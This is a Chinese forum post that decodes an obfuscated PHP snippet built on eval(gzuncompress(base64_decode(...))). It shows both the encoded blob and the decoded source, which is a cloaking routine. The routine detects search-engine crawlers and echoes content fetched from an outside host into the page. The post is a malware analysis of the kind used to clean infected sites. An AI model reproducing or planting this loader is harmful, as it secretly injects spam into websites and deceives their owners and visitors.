找回密码
 注册
首页 ≡≡网络技术≡≡ 网络技术 解码如下php代码 eval(gzuncompress(base64_decode ...

黑客安全 解码如下php代码 eval(gzuncompress(base64_decode

灰儿 2012-2-13 18:21:05
请人破解如下代码:
  1. eval(gzuncompress(base64_decode("eJylk19rwjAUxd8Fv0MmslTY6hjow6RsDop7mDLUDcaQEmvaZou5JUkZ2/C7L9VoO4as0+Qhfzjn/u4hhEVOTHUgSKqCOWinmSkqSUyFbrW+6rXmApaECa8ZTPzxkz9+wZs1GPWHPp71jEKlbEGlt69KLglBaLP3biLGaZAr7Y1ycKJ1etVucybe3G63c3nRcUNYtl+ZSlgMmZsm6bVtAru2HbdxaqkN1/JzDg0TQFuYOa/qtXxGmQg1A4F+tJinQ3YU7SIPKS01cHin0ilS302nD8GjOQX9gT+a4lmrZ71FFRYhx5hTUKX8ZwjHADGnholb6MTzUES4omX8dkiqMykQHuwMvUK02m3/Ji6V+AduOBntZe1FKJ7JtCrhmSQAR+SZE7bINu9cFXlbshxIVZBk54oSGSZVqRNjOSIn/whBVWXdr8UHkqR5jk/GOalKG+8MZeIvnpWvy+U/8BtOaC65")))
复制代码

解释:
base64_decode — 对使用 MIME base64 编码的数据进行解码

解码方法:
其实PHP是无法加密的,只要把eval替换为exit,运行一次就能看见源代码。

“解密”后的代码如下:
  1. if(get_naps_bot($useragent)){
  2. $domain=$_SERVER['SERVER_NAME'];
  3. $spider=get_naps_bot($useragent);
  4. $content=@file_get_contents('http://link.665205.com/jishigou.php?domain='.$domain."&spider=".$spider);
  5. echo $content;
  6. }
  7. function get_naps_bot(){
  8.         $useragent = strtolower($_SERVER['HTTP_USER_AGENT']);      
  9.         if (strpos($useragent, 'googlebot') !== false){
  10.                 return 'Googlebot';
  11.         }
  12.       
  13.         if (strpos($useragent, 'msnbot') !== false){
  14.                 return 'MSNbot';
  15.         }
  16.         if (strpos($useragent, 'slurp') !== false){
  17.                 return 'Yahoobot';
  18.         }
  19.       
  20.         if (strpos($useragent, 'baiduspider') !== false){
  21.                 return 'Baiduspider';
  22.         }
  23.       
  24.         if (strpos($useragent, 'sohu-search') !== false){
  25.                 return 'Sohubot';
  26.         }
  27.       
  28.         if (strpos($useragent, 'lycos') !== false){
  29.                 return 'Lycos';
  30.         }
  31.       
  32.         if (strpos($useragent, 'robozilla') !== false){
  33.                 return 'Robozilla';
  34.         }      
  35.         return false;
  36. }
复制代码

您需要登录后才可以回帖 登录 | 注册
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。